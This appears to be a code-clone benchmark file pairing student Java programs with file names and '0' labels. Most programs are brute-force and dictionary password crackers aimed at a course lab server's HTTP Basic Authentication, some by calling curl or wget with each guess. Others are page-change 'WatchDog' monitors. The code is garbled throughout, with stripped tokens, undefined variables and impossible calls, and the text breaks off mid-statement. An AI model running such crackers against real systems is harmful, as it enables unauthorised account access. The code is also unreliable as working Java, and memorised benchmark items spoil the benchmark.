import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
183.java
161.java
0
import java.awt.*; import java.awt.event.*; import java.io.*; import java.net.*; public class BruteForce extends Frame implements ActionListener { private TextField tf = new TextField(); private TextArea ta = new TextArea(); public void actionPerformed (ActionEvent e) { String s = tf.getText(); String login=""; if (s.length() != 0) { char symbol = 'A'; login=":"; for(int i = 0; i < 3; i++) { symbol = (char)(57.0 * Math.random() + 65); if(symbol>90 && symbol<97){ i--; continue; } login=login+symbol; } ta.setText (fetchURL (s,login)); System.out.println("runing"+login); }while(ta.getText().compareTo("Invalid URL")!=0 || ta.getText().compareTo("Error URL")!=0); System.out.println("The password is: "+login); } public BruteForce() { super ("SEC-CRACK"); add (tf, BorderLayout.LEFT); ta.setEditable(false); add (ta, BorderLayout.CENTER); tf.addActionListener (this); addWindowListener (new WindowAdapter() { public void windowClosing (WindowEvent e) { dispose(); System.exit(0); } }); } private String fetchURL (String urlString,String login) { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(); try { URL url = new URL (urlString); String encoding = new url.misc.BASE64Encoder().encode (login.getBytes()); URLConnection uc = url.openConnection(); uc.setRequestProperty ("Authorization", " " + encoding); InputStream content = (InputStream)uc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { pw.println (line); } } catch (MalformedURLException e) { pw.println ("Invalid URL"); } catch (IOException e) { pw.println ("Error URL"); } return sw.toString(); } public static void main(String args[]) { Frame f = new BruteForce(); f.setSize(300, 300); f.setVisible (true); } } class Base64Converter { public static final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode ( String s ) { return encode ( s.getBytes ( ) ); } public static String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
211.java
161.java
0
import java.io.*; import java.net.*; public class BruteForce { public static void main(String args[]) { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(); int flag=1; String[] letter = {"A","B","C","D","E","F","G","H","I","J","K","L","M","N", "O","P","Q","R","T","U","V","W","X","Y","Z","a","b","c", "d","e","f","g","h","i","j","k","l","m","n","o","p","q", "r","s","t","u","v","w","x","y","z",""}; String urlString = new String("http://sec-crack.cs.rmit.edu./SEC/2/"); String thePassword= new String(); stime = System.currentTimeMillis(); System.out.println(""); for(int i=0; i<letter.length;i++) { for(int j=0; j<letter.length; j++) { for(int k=0;flag==1 && k<letter.length; k++) { try { URL url = new URL (urlString); thePassword=letter[i].trim()+letter[j].trim()+letter[k].trim(); String userPassword = "" + ":" + thePassword; String encoding = new url.misc.BASE64Encoder().encode(userPassword.getBytes()); URLConnection uc = url.openConnection(); uc.setRequestProperty("Authorization", " " + encoding); InputStream content = (InputStream)uc.getContent(); endtime = System.currentTimeMillis(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { pw.println (line); } flag=0; System.out.println("process time is : " +(endtime-stime)/1000 +" seconds."); }catch (MalformedURLException e) { flag=1; }catch (IOException e) { flag=1; } } if(flag==0) break; else System.out.println("letter j ->"+ letter[j]+" elapsed"); } if(flag==0) break; else System.out.println("letter i ->"+ letter[i]+" elapsed"); } System.out.println("content is "+ sw.toString()); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
121.java
161.java
0
import java.text.*; import java.util.*; import java.net.*; import java.io.*; public class BruteForce { public int runProcess(String urlString,String passwd) { int returnval = 0; MyAuthenticator auth = new MyAuthenticator(passwd); Authenticator.setDefault(auth); System.out.println("trying passord: " + passwd); try{ URL yahoo = new URL(urlString); BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream())); String inputLine; while ((inputLine = in.readLine()) != null) { System.out.println(inputLine); System.out.println("passord: " + passwd); returnval = 1; } in.close(); }catch(Exception e){ returnval = 0;} return returnval; } public static void main(String argv[]) { String[] val = {"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"}; int l1 = 0; int l2 = 0; int l3 = 0; int retval = 0; String pwd = ""; BruteForce s = new BruteForce(); String urlToSearch = "http://sec-crack.cs.rmit.edu./SEC/2/"; for (int a = 0; a < 52; a++) { l1 = a; pwd = val[l1]; retval = 0; retval = s.runProcess(urlToSearch,pwd); if (retval > 0) { System.exit(0); } } for (int b = 0; b < 52; b++) { l1 = b; for (int c = 0; c < 52; c++) { l2 = c; pwd = val[l1]+ val[l2]; retval = 0; retval = s.runProcess(urlToSearch,pwd); if (retval > 0) { System.exit(0); } } } for (int d = 0; d < 52; d++) { l1 = d; for (int e = 0; e < 52; e++) { l2 = e; for (int f = 0; f < 52; f++) { l3 = f; pwd = val[l1]+ val[l2]+ val[l3]; retval = 0; retval = s.runProcess(urlToSearch,pwd); if (retval > 0) { System.exit(0); } } } } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
241.java
161.java
0
import java.io.*; import java.net.*; import java.util.*; import java.*; public class WatchDog { public static final int interval = 79200000; public static void main(String[] args) { WatchDog wd = new WatchDog(); Thread thread = new Thread(); URLConnection conn = null; DataInputStream data = null; DataInputStream in = null; String line; String lines; String buffer = new String(); String buffers = new String(); String url = new String("http://www.cs.rmit.edu./students/"); boolean change; try{ URL myurl = new URL(url); conn = myurl.openConnection(); conn.connect(); Object content = null; System.out.println("Connection opened......"); System.out.println("Retrieving data from URL"); data = new DataInputStream(new BufferedInputStream(conn.getInputStream())); System.out.println(" data from the URL......"); content = myurl.getContent(); BufferedReader reader = null; reader = new BufferedReader(new InputStreamReader((InputStream) content)); while ((line = data.readLine()) != null) { System.out.println(line); FileWriter outnew = new FileWriter("watchdogresult.html"); outnew.write(line); } System.out.println("Waiting for any change...."); thread.sleep(79200000); conn = myurl.openConnection(); conn.connect(); in = new DataInputStream(new BufferedInputStream(conn.getInputStream())); while ((lines = in.readLine()) != null) { FileWriter newf = new FileWriter("watchdogresult.tmp"); newf.write(buffers); } change = true; if(change); else{ change = false; wd.mail(); } } catch (InterruptedException e) {} catch (IOException e) { e.printStackTrace(); String r = new String(e.getMessage()); if ( r != null) { System.out.println("Message :" +r); } else System.out.println("Other problems"); } } public void mail(){ try { String from = new String("Watchdog Reporter"); String email = new String("@cs.rmit.edu."); String subject = new String(" is a change in "); URL u = new URL("mailto:" + email); URLConnection c = u.openConnection(); c.setDoInput(false); c.setDoOutput(true); System.out.println("Connecting..."); System.out.flush(); c.connect(); PrintWriter out = new PrintWriter(new OutputStreamWriter(c.getOutputStream())); out.println("From: \"" + from + "\" <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">"); out.println(": " ); out.println("Subject: " + subject); out.println(); String line = new String("Watchdog observe that is a change in the web ."); out.close(); System.out.println("Message sent."); System.out.flush(); } catch (Exception e) { System.err.println(e); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
256.java
161.java
0
import java.net.*; import java.io.*; import java.*; import java.util.*; public class Dictionary { private static String commandLine = "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :"; private String password; private String previous; private String url; private int startTime; private int endTime; private int totalTime; private float averageTime; private boolean finish; private Process curl; private BufferedReader bf, responseLine; public Dictionary() { first(); finish = true; previous = ""; Runtime run = Runtime.getRuntime(); startTime =new Date().getTime(); int i=0; try { try { bf = new BufferedReader(new FileReader("words")); } catch(FileNotFoundException notFound) { bf = new BufferedReader(new FileReader("/usr/share/lib/dict/words")); } while((password = bf.readLine()) != null) { if(password.length()>3) password = password.substring(0,3); if(previous.equals(password)) ; else { previous = password; url = commandLine+password; curl= run.exec(url); responseLine=new BufferedReader(new InputStreamReader(curl.getInputStream())); if(responseLine.readLine().substring(9,12).equals("200")) break; } } } catch(IOException ioe) { System.out.println("\n IO Exception! \n"); System.out.println("The current url is:"+ url); System.out.println("The current trying password is:"+password); finish=false; } endTime = new Date().getTime(); totalTime = (endTime-startTime)/1000; System.out.println(" The response time is:"+ totalTime + " seconds\n"); if(finish) { System.out.println(" The password for is:"+ password); try { savePassword(password, totalTime); } catch (IOException ioec) { System.out.println(" not save the password file Dictionary_pwd.txt "); } } } public void savePassword(String passwdString, int time) throws IOException { DataOutputStream outputStream = new DataOutputStream(new FileOutputStream("Dictionary_pwd.txt")); outputStream.writeChars("The password is:"); outputStream.writeChars(passwdString+"\n"); outputStream.writeChars("The response time is: "); outputStream.writeChars(sw.toString(time)); outputStream.writeChars(" seconds\n"); outputStream.close(); } public void first() { System.out.println("\n\n----------------------------------------------"); System.out.println(" Use curl command and dictionary "); System.out.println(" Brute Force the password for user "); System.out.println("----------------------------------------------"); } public static void main(String[] args) { new Dictionary(); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
122.java
161.java
0
import java.net.*; import java.text.*; import java.util.*; import java.io.*; public class WatchDog { public WatchDog() { StringBuffer stringBuffer1 = new StringBuffer(); StringBuffer stringBuffer2 = new StringBuffer(); int i,j = 0; try{ URL yahoo = new URL("http://www.cs.rmit.edu./students/"); BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream())); String inputLine = ""; String inputLine1 = ""; String changedtext= ""; String changedflag= ""; Thread.sleep(180); BufferedReader in1 = new BufferedReader(new InputStreamReader(yahoo.openStream())); while ((inputLine = in.readLine()) != null) { inputLine1 = in1.readLine(); if (inputLine.equals(inputLine1)) { System.out.println("equal"); } else { System.out.println("Detected a Change"); System.out.println("Line Before the change:" + inputLine); System.out.println("Line After the change:" + inputLine1); changedtext = changedtext + inputLine + inputLine1; changedflag = "Y"; } } if (in1.readLine() != null ) { System.out.println("Detected a Change"); System.out.println("New Lines Added "); changedtext = changedtext + "New Lines added"; changedflag = "Y"; } in.print(); in1.print(); if (changedflag.equals("Y")) { String smtphost ="smtp.mail.rmit.edu." ; String from = "@rmit.edu."; String = "janaka1@optusnet.." ; } } catch(Exception e){ System.out.println("exception:" + e);} } public static void main (String[] args) throws Exception { WatchDog u = new WatchDog(); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
137.java
161.java
0
import java.io.*; import java.net.*; import java.*; import java.util.*; public class Dictionary { public static void main( String args[]) { Runtime t = Runtime.getRuntime(); Process pr = null; int count=0; String f,pass,temp1; try{ FileReader fr = new FileReader("words.txt"); BufferedReader bfread = new BufferedReader(fr); while((bf = bfread.readLine()) != null) { if( f.length() < 4 ) { count++; System.out.println("The passowrd tried is------>"+"-->"+count); pass = f; f ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/"; pr = t.exec(f); InputStreamReader stre = new InputStreamReader(pr.getErrorStream()); BufferedReader bread = new BufferedReader(stre); while( ( bf= bread.readLine())!= null) { if(bf.equals("HTTP request sent, awaiting response... 200 OK")) { System.out.println("Eureka!! Eureka!!! The password has been found it is:"+pass); System.exit(0); } } } } fr.print(); bfread.print(); }catch(IOException e){} } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
139.java
161.java
0
import java.io.*; import java.util.Date; import java.util.regex.*; import java.jscape.inet.http.*; class Dictionary { public static void main (String args[]) throws Exception { String username = ""; int errorMessage = 401; int attempts = 0; FileReader fReader = new FileReader ("/usr/share/lib/dict/words"); BufferedReader buffReader = new BufferedReader (fReader); String word; int wordLength ; Http http = new Http(); HttpRequest request = new HttpRequest ("http://sec-crack.cs.rmit.edu./SEC/2/" ); Date startDate = new Date(); while(( word = buffReader.readLine()) != null) { if (errorMessage == 200) break; wordLength = word.length(); if(wordLength <=3) { Pattern lettersOnly = Pattern.compile ("[A-Za-z]+"); Matcher pword = lettersOnly.matcher (word); if (pword.matches() == true) { String password = pword.group(); request.setBasicAuthentication(username,password); HttpResponse response = http.getResponse(request); errorMessage = response.getResponseCode(); System.out.println(errorMessage); System.out.println(password); attempts++; if (errorMessage == 200) break; } } } Date endDate = new Date(); System.out.println("Password crack finished: " + endDate); System.out.println("Password crack started: " + startDate); System.out.println(" of attempts: " + attempts); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
193.java
161.java
0
import java.io.IOException; import java.net.*; import java.io.*; import java.util.*; public class Dictionary { static URL url = null; static URLConnection urlConnection; static InputStream urlStream; static String strOneLetterWords[]; static String strTwoLetterWords[]; static String strThreeLetterWords[]; static String strExceptionPassword[]; static String strLastPasswordTested; static String username = ""; static int intNumberOfOneLetterWords = 0; static int intNumberOfTwoLetterWords = 0; static int intNumberOfThreeLetterWords = 0; static int intExceptionCount = -1; static int intNumberOfConnectionAttempts = 0; static int intTotalNumberOfWordsInFile = 0; public static void main (String args[]) { Calendar calStart; Calendar calFinish; Date dateStart; Date dateFinish; lngStart; lngFinish; String strLine; String strTextFileName = "/usr/share/lib/dict/words"; boolean boolPasswordFound = false; boolean boolExceptionPasswordsTestedAgain = false; String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/index.php"; int intCounter1; int intCounter2; int intCounter3; int intTotalNumberOfWordsChecked = 0; calStart = new GregorianCalendar(); dateStart = calStart.getTime(); lngStart = dateStart.getTime(); strExceptionPassword = new String[5000]; getNumberOfVariousLengthsOfWords(strTextFileName); strOneLetterWords = new String[intNumberOfOneLetterWords]; strTwoLetterWords = new String[intNumberOfTwoLetterWords]; strThreeLetterWords = new String[intNumberOfThreeLetterWords]; populateTheDifferentLengthArrays(strTextFileName); if (!boolPasswordFound) { intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strOneLetterWords[intCounter1], boolPasswordFound); intCounter1++; intTotalNumberOfWordsChecked++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfTwoLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strTwoLetterWords[intCounter1], boolPasswordFound); intCounter1++; intTotalNumberOfWordsChecked++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfThreeLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strThreeLetterWords[intCounter1], boolPasswordFound); intCounter1++; intTotalNumberOfWordsChecked++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) ) { intCounter2 = 0; while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strOneLetterWords[intCounter1] + strOneLetterWords[intCounter2], boolPasswordFound); intCounter2++; intTotalNumberOfWordsChecked++; } intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) ) { intCounter2 = 0; while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) ) { intCounter3 = 0; while ( (!boolPasswordFound) && (intCounter3 < intNumberOfOneLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strOneLetterWords[intCounter1] + strOneLetterWords[intCounter2] + strOneLetterWords[intCounter3], boolPasswordFound); intCounter3++; intTotalNumberOfWordsChecked++; } intCounter2++; } intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) ) { intCounter2 = 0; while ( (!boolPasswordFound) && (intCounter2 < intNumberOfTwoLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strOneLetterWords[intCounter1] + strTwoLetterWords[intCounter2], boolPasswordFound); intCounter2++; intTotalNumberOfWordsChecked++; } intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfTwoLetterWords) ) { intCounter2 = 0; while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strTwoLetterWords[intCounter1] + strOneLetterWords[intCounter2], boolPasswordFound); intCounter2++; intTotalNumberOfWordsChecked++; } intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 <= intExceptionCount) ) { boolExceptionPasswordsTestedAgain = true; boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strExceptionPassword[intCounter1], boolPasswordFound); intCounter1++; intTotalNumberOfWordsChecked++; } } calFinish = new GregorianCalendar(); dateFinish = calFinish.getTime(); lngFinish = dateFinish.getTime(); System.out.println(); System.out.println(); System.out.println(); System.out.println("Length of time for processing: " + ((lngFinish - lngStart) / 1000) + " seconds"); System.out.println(); System.out.println("Total number of words in dictionary file = " + intTotalNumberOfWordsInFile); System.out.println(); System.out.println("Input file: number of words with one letter length = " + intNumberOfOneLetterWords); System.out.println("Input file: number of words with two letter length = " + intNumberOfTwoLetterWords); System.out.println("Input file: number of words with three letter length = " + intNumberOfThreeLetterWords); System.out.println(); System.out.println("Number of connection attempts = " + intTotalNumberOfWordsChecked); System.out.println(); System.out.println("Number of exceptions thrown = " + (intExceptionCount + 1)); System.out.println(); if (intExceptionCount >= 0) { System.out.print("These passwords WERE "); if (boolExceptionPasswordsTestedAgain) System.out.print("tested again."); else System.out.print("NOT tested again."); System.out.println(); } if (boolPasswordFound) { System.out.println("The correct password WAS found - this password is '" + strLastPasswordTested + "'."); } else { System.out.println("The correct password WAS NOT found."); } System.out.println(); } static void getNumberOfVariousLengthsOfWords(String TextFileName) { FileReader reader; BufferedReader inTextFile = null; String strLine; int intWordLength; try { reader = new 